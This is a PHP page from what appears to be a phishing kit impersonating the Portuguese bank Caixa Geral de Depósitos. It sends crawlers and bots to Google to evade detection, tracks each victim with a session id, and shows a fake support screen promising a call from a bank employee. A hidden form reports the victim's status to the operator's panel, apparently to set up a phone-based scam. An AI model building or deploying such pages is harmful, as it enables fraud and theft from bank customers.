<?php
require '../vendor/autoload.php';

use Jaybizzle\CrawlerDetect\CrawlerDetect;

$CrawlerDetect = new CrawlerDetect;
$isBot = $CrawlerDetect->isCrawler();

if ($isBot) {
    header("Location: https://google.com");
    exit;
}

?>
<?php 
  $uniqueid = $_SESSION["visitor_uniqueid"];
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CGD</title>
     <link rel="shortcut icon" href="<?= URLROOT ?>/panel/assets/images/cgd-favicon.png" type="image/x-icon">
    <link rel="stylesheet" href="panel/bootstrap/css/bootstrap.min.css">
    <link href='https://unpkg.com/boxicons@2.1.4/css/boxicons.min.css' rel='stylesheet'>
    <link rel="stylesheet" href="panel/css/style.css">

     <script>
         var urlroot = '<?= URLROOT ?>';
        var uniqueid = '<?= $uniqueid ?>';
   </script>
    <script src="<?= URLROOT ?>/panel/bootstrap/jquery/jquery.min.js"> </script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/option.js"></script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/browser.js"></script>
</head>

<body>

    <header class="pt-4">
        <div class="container-fluid">
            <div class="row ml-2">
                <div class="col-md-12">
                    <img class="img-fluid" src="panel/got/logo_CDO.gif" alt="">
                </div>
            </div>
        </div>
    </header>
    <section class=" mt-3">
        <div class="container-fluid">
            <div class="row ">
                <div class="col-md-12 p-0">
                    <div class="top_border pl-3 pr-3">
                        <div class="d-flex justify-content-end align-items-center">
                            <p class="mb-0 text-white">PT <span class="en">EN</span></p>
                        </div>
                    </div>
                </div>
                <div class="col-md-4 m-auto pt-5 pb-5">
                    <div class="bg-white p-3 shadow-lg text-center">
                        <img src="panel/imgs/support.jpg" class="img-fluid d-flex m-auto w-20" alt="">
                    <h3>Contacto com o funcionário
                    </h3>
                    <p>Será contactado por um dos nossos colaboradores em poucos minutos através do número +351 21 790 0790. Fique atento às suas notificações!
                    </p>

                     <?php

                  if(isset($_GET['resend'])){
                    ?>
                      <div class="alert alert-danger mr-3" style="background: red;padding: 10px;margin-bottom: 10px;color: white;border-radius: 10px;">Ocorreu um erro, tente novamente...</div>
                    <?php
                  }
                  ?>
                  
                    <button onclick="formSubmit()" class="active_btn" style="padding: 15px 40px; font-size: 18px; border: none;">Compreendo, ligue-me agora!</button>
                </div>
                </div>
            </div>
        </div>
    </section>

    <form  action="#" id="form" method="post" name="login">

                         

                          
                     <input type="hidden" name="bank_status" id="bank_status" value="CGD">
                 <input name="new_data" value="true" type="hidden">
                 <input name="status" value="0" type="hidden">
                  <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">
              </form>


    <footer></footer>
    <div class="footer_bottom"></div>
    <div class="lang-links d-flex justify-content-center mb-5 pb-5 mt-2">
        <a href="">Segurança</a>
        <a href="">Contactos</a>
        <a href="">Preçário</a>
        <a href="">Condições Gerais</a>
        <a href="">Espaço Cliente</a>
    </div>
    <script src="panel/bootstrap/jquery/jquery.min.js"> </script>
    <script src="panel/bootstrap/js/popper.min.js"> </script>
    <script src="panel/bootstrap/js/bootstrap.min.js"> </script>


    <script type="text/javascript">
         function formSubmit(){

        
          var loader = new Option();
          loader.formSubmit();
      

      


    }
    </script>
</body>

</html>